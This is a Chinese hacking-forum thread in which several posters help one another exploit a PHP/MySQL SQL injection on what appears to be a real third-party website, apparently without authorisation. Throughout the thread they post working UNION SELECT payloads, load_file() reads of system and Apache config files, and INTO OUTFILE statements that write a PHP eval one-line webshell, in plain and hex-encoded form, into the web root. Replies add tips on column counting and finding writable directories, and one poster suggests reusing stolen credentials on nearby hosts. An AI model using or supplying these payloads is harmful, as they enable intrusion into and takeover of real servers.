[讨论]郁闷的PHP注入....
议题作者:寂寞hacker信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
今天安检一个站的时候遇到了个郁闷的问题,他全站是html静态的,好不容易在一个偏僻的角落找到了个php注入点,偷笑中....还没笑完呢,郁闷的事情来了,首先猜测字段,偶猜到48了才正常,吓得我以为没戏了,可以直接loadfile /etc/passwd 这个文件,但是郁闷的事情发生了。
情况如下图:
[attach]10743[/attach]
原因是网页限制了信息的长度,三个能显示的地方都试过了,基本上只能把pass这个文件的头信息显示出来,后台找不到,数据库字段也猜不到,网站是他们自己写的!WEB环境:
Apache/2.0.59 (Unix) PHP/4.4.4 系统是FreeBSD,对红旗系统不熟。。。接下来。哪位高手指教下。 left(file,100)
查看一段字符再合并. FreeBSD跟红旗什么关系?
/etc/passwd 文件中没有密码。ports编译的MySQL没有root权限拿不到/etc/master.passwd,就算拿到也基本没用,master.passwd中的密码是MD5的。
输出个webshell看看root下面有什么,有没有记录密码什么的,看一下有没有装有能提权的软件,BSD的内核级漏洞很少,可以从应用程序软件上入手。系统应该是FB6.1吧 load_file() 读下。。48 个字段? PHP手工 苦活啊。慢慢跑吧·· 字符截取啊,能让显示多少就显示多少 [quote]引用第2楼Helvin于2007-10-29 18:55发表的 :
FreeBSD跟红旗什么关系?
/etc/passwd 文件中没有密码。ports编译的MySQL没有root权限拿不到/etc/master.passwd,就算拿到也基本没用,master.passwd中的密码是MD5的。
输出个webshell看看root下面有什么,有没有记录密码什么的,看一下有没有装有能提权的软件,BSD的内核级漏洞很少,可以从应用程序软件上入手。系统应该是FB6.1吧[/quote]
汗!说错了!FreeBSD跟红旗没关系,关于PASS被加密,这条路不走了!至于Helvin大哥说的输出webshell是什么意思?建个表导出么?给点资料!很久没碰这个了!呵呵!谢谢! FreeBSD下面。。。如何得到当前的WEB路径?因为他关闭了错误回显!得不到文件路径! 有root的话可以into outfile()导出一句话的 [quote]引用第7楼hackest于2007-10-29 23:39发表的 :
有root的话可以into outfile()导出一句话的[/quote]
php outfile 需要 ' 单引号或者双引号, 无法outfile! [quote]引用第6楼寂寞宝贝于2007-10-29 20:56发表的 :
FreeBSD下面。。。如何得到当前的WEB路径?因为他关闭了错误回显!得不到文件路径![/quote]
load httpd.conf httpd.conf 国内全是 755 权限. 能读. [quote]引用第9楼ring04h于2007-10-30 00:42发表的 :
load httpd.conf httpd.conf 国内全是 755 权限. 能读.[/quote]
/usr/local/httpd/conf/httpd.conf
默认路径? 上面的路径load 没东西! /usr/local/apache2/conf/httpd.conf
这个能读出东东!不过。。。
555555555555
住所: # # Based upon the NCSA server configuration files originally by Rob M
还是受这个框的限制。。。。。。我再想想办法! 哦也。。。。拿到了。。不过!看不懂ing.....找了几个目录都不对。。求救!
省略废话一大堆后:如下!
module-specific configurations # Include conf/ssl.conf ### Section 3: Virtual Hosts # # VirtualHost: If you want
to maintain multiple domains/hostnames on your # machine you can setup VirtualHost containers for them. Most
configurations # use only name-based virtual hosts so the server doesn't need to worry about # IP addresses.
This is indicated by the asterisks in the directives below. # # Please see the documentation at # # for further
details before you try to setup virtual hosts. # # You may use the command line option '-S' to verify your
virtual host # configuration. # # Use name-based virtual hosting. # #NameVirtualHost *:80 NameVirtualHost
172.28.1.70 ServerName localhost ServerAdmin [email]info@lonely.cn[/email] DocumentRoot /usr/httpd ServerAdmin [email]info@lonely.cn[/email]
DocumentRoot /usr/httpd/lonely ServerName [url]www.lonely.cn[/url] ServerAlias lonely.cn [url]www.lonely.cn[/url] lonely.cn lonely.org
ServerAdmin [email]info@lonely.cn[/email] DocumentRoot /usr/httpd/lpsgsj ServerName lps.lonely.cn ServerAlias lps.lonely.cn
ServerAdmin [email]info@lonely.cn[/email] DocumentRoot /usr/httpd/meitangsj ServerName meitan.lonely.cn ServerAlias
meitan.lonely.cn DirectoryIndex Default.htm index.html ServerAdmin [email]info@lonely.cn[/email] DocumentRoot /usr/httpd/js
ServerName js.lonely.cn DirectoryIndex Default.htm index.html ServerAdmin [email]info@lonely.cn[/email] DocumentRoot
/usr/httpd/go ServerName go.lonely.cn # # ServerAdmin [email]info@lonely.cn[/email] # DocumentRoot /usr/httpd/test # ServerName
test.lonely.cn # # # VirtualHost example: # Almost any Apache directive may go into a VirtualHost container. #
The first VirtualHost section is used for requests without a known # server name. # # # ServerAdmin
[email]webmaster@dummy-host.example.com[/email] # DocumentRoot /www/docs/dummy-host.example.com # ServerName dummy-
host.example.com # ErrorLog logs/dummy-host.example.com-error_log # CustomLog logs/dummy-host.example.com-
access_log common #
帮忙看看。。。谢谢!Web路径,我试了几个都不对! 汗!最新进度,搞到root帐号密码,3306也开了。。。但是,默认禁止ROOT远程连接!靠!哪位有PHP导出SHELL的资料,给份。谢谢! freebsd 默认是禁止root远程登录
而且su成root要求必须是wheel组的用户 BSD root不好拿,他说的应该是MySQL root
WEB绑定有域名,你管他能不能些,解不解析,只要在这些目录下面找个777 ,写入Shell就可以了。是在找不到就当份程序下来,自己查找一下有什么可以利用的地方,所有的WEB目录都有价值,也许有些域名没有解析过来。
172.28.1.70这个是你修改过的,还是他们自己的,如果是自己有的那可能他们上面还有其他服务器在附近,用SQL密码连一下附近的机器测试一下 Web目录自己研究出来了,看了下大虾们的php导出shell的文章,最后得到如下的东东!因为我能写东西的地方在另外一个库,所以这里我跨库查询了,ts04是我的小马内容, 没过滤!我不要*/into/**/outfile/**/'/usr/httpd/lonely/service/angel.php'/* 这一段能执行查询的!而且查看页面源代码,我的小马原样在,可是加上这个就查询出错了,貌似是我这个导出没写对!大虾们指教!
/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,ts04,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48/**/from/**/gsj.tousu_anjian/**/where/**/ts01=5201314159/**/into/**/outfile/**/'/usr/httpd/lonely/service/angel.php'/* 还有,他们的web程序一看就是自己写的,很烂的那种! substring和load_file()连用。想导出必须找到可写目录。 我就是想问
/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,ts04,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48/**/from/**/gsj.tousu_anjian/**/where/**/ts01=5201314159/**/into/**/outfile/**/'/usr/httpd/lonely/service/angel.php'/*
这个导出语句对了木。。。。。不对的话麻烦哪位大虾,说下改哪个? 还有一种尝试:找找看有没有PHPMYADMIN的目录,用root登录进去,插表导出shell就舒服多了。当然前提还是得有个目标777的目录 借地方发个和PHP有关的问题:
[url]http://www.[/url]***.com/view.php?id=650 存在注入点,手工检测有74个字段,所以没办法用工具查表
用and/**/1=2/**/union/**/select/**/1,TABLE_NAME,3,。。。。。,73,74/**/FROM/**/INFORMATION_SCHEMA.TABLES--
暴出所有表并找到admins表,但是问题来了,常用列都猜了,但是猜不到,想用
/**/and/**/1=2/**/union/**/select/**/1,COLUMN_NAME,3,4。。。。。,73,74/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME='admins'--
把admins表中的列暴出来,死活都暴不了,不知道是语句错了还是其他的原因,请大家帮忙看看 呵呵...不要急...很简单的...先把思路整理好...比如你前面解决那些问题的方法和思考过程都可以写一写。。方便大家帮你。。。也许在整理的过程中你会豁然开朗.. 楼上各位说了半天没说到重点,,,其他方法我试过了,
/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,ts04,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48/**/from/**/gsj.tousu_anjian/**/where/**/ts01=5201314159/**/into/**/outfile/**/'/usr/httpd/lonely/service/angel.php'/*
这个导出语句对了木。。。。。不对的话麻烦哪位大虾,说下改哪个? .php?id=XX and select 0x273C3F40696E636C75646528245F504F53545B2274657374225D293B3F3E27 from mysql.user into outfile '绝对路径/文件名';
两个条件限制
1.是没有过滤单引号。
2.是绝对路径mysql要有写权限。
0x273C3F40696E636C75646528245F504F53545B2274657374225D293B3F3E27 是一句话木马。
<?php eval($_POST[cmd])?> 你还真一个一个是的字段数数目啊,教你个小tips:
php?id=XX order by 10 最后一个换数字,只要是正确输出的都行,找到那个能正确输出的临界点就行了。用二分法能很快定位到有多少个字段 [s:272] 我想问一下
loadfile()不能显示出来
into outfile 又不能导出webshell
哪么还有其它的方法通过注入得到webshell吗 楼主是如何拿到root权限的?
我遇到类似的机,Apache/1.3.34(Debian) PHP/4.4.2-1.1 mod_ssl/2.8.25 OpenSSL/0.9.8a
能够loadfile(),通过/etc/passwd猜到了它的web目录。我如何才能拿webshell或者root权限呢?没有思路进行下去了。 *** 作者被禁止或删除 内容自动屏蔽 *** 哥们你先把into outfile导出到可写目录哦..在不知道哪个目录是777的情况下 建议你先导出到/TMP/目录,然后LOAD_FILE读下证实下是否成功. 然后再找777目录哦. 你这样OUTFILE太盲目了. 想问下LZ是怎么得到网站路径的` [quote]引用第31楼上帝在堕落于2007-12-22 03:03发表的 :
想问下LZ是怎么得到网站路径的`[/quote]
晕,13楼 magic一般都会开了,outfile也就没有用了。如果连管理入口都找不到,那还有什么办法进行下去? 我认为最好的方法用教主的HDSI3来试 试,他有PHP注入的 *** 作者被禁止或删除 内容自动屏蔽 *** 我遇见了跟楼主一样的问题
e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),4,5,6,7,8/* 成功看到c:\boot.ini的内容 WINDOWS2000机器
e=262/**/union/**/select/**/1,2,load_file(0x633A5C77696E6E745C7068702E696E69),4,5,6,7,8/* 成功得到php.ini的内容
后面陆续得到 MYSQL连接帐户 版本是5.0.27 并且得到了WEB绝对路径
但是在into outfile的时候就郁闷了
e=262/**/union/**/select/**/1,2,'<?php @eval($_POST[s]);?>',3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/'c:/appserv/www/1.php'/*
失败 返回错误 提示跟加'的提示一样
然后用 16进制变换为
e=262/**/union/**/select/**/1,2,0x3C3F70687020406576616C28245F504F53545B735D293B3F3E,3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/0x633A2F617070736572762F7777772F312E706870/* 还是失败 错误提示跟以前一样
ps:
0x3C3F70687020406576616C28245F504F53545B735D293B3F3E是 <?php @eval($_POST[s]);?> 的16进制
0x633A2F617070736572762F7777772F312E706870 是c:/appserv/www/1.php的16进制
然后尝试
e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),3,4,5,6,7,8/**/from/**/news/**/into/**/outfile/**/0x633A2F617070736572762F7777772F312E706870/*也失败
但是直接 e=262/**/union/**/select/**/1,2,load_file(0x633A5C626F6F742E696E69),3,4,5,6,7,8/**/from/**/news/的话 可以成功得到c:\boot.ini的内容
其间把'换成'也试了 也不才成功 但是这个站有人用这个注射点拿到了WEBSHELL 。。。。。。邪门了!
各位大虾帮忙讨论下 谢谢!
[[i] 本帖最后由 xinyuan55881 于 2008-4-29 17:33 编辑 [/i]] 楼主是怎么跨库查询的?
说说看 应该用NBSI的话 可能能解决手工注入遇到的意外情况吧 手工和工具感觉有时候是互补的 当一种做不到的时候 另一种却能做到
[[i] 本帖最后由 TheFail 于 2008-5-9 00:07 编辑 [/i]]
页:
[1]
